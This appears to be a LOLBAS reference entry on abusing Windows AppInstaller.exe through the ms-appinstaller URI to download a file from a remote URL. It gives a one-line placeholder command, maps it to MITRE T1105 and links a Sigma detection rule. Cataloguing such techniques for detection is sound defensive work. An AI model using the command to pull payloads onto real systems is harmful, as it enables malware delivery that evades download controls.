AppInstaller.exe

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

Use Download file from Internet

start ms-appinstaller://?source={REMOTEURL:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml

Refs

twitter.com/notwhickey/status/1333900137232523264

lolbas-project.github.io/lolbas/Binaries/AppInstaller/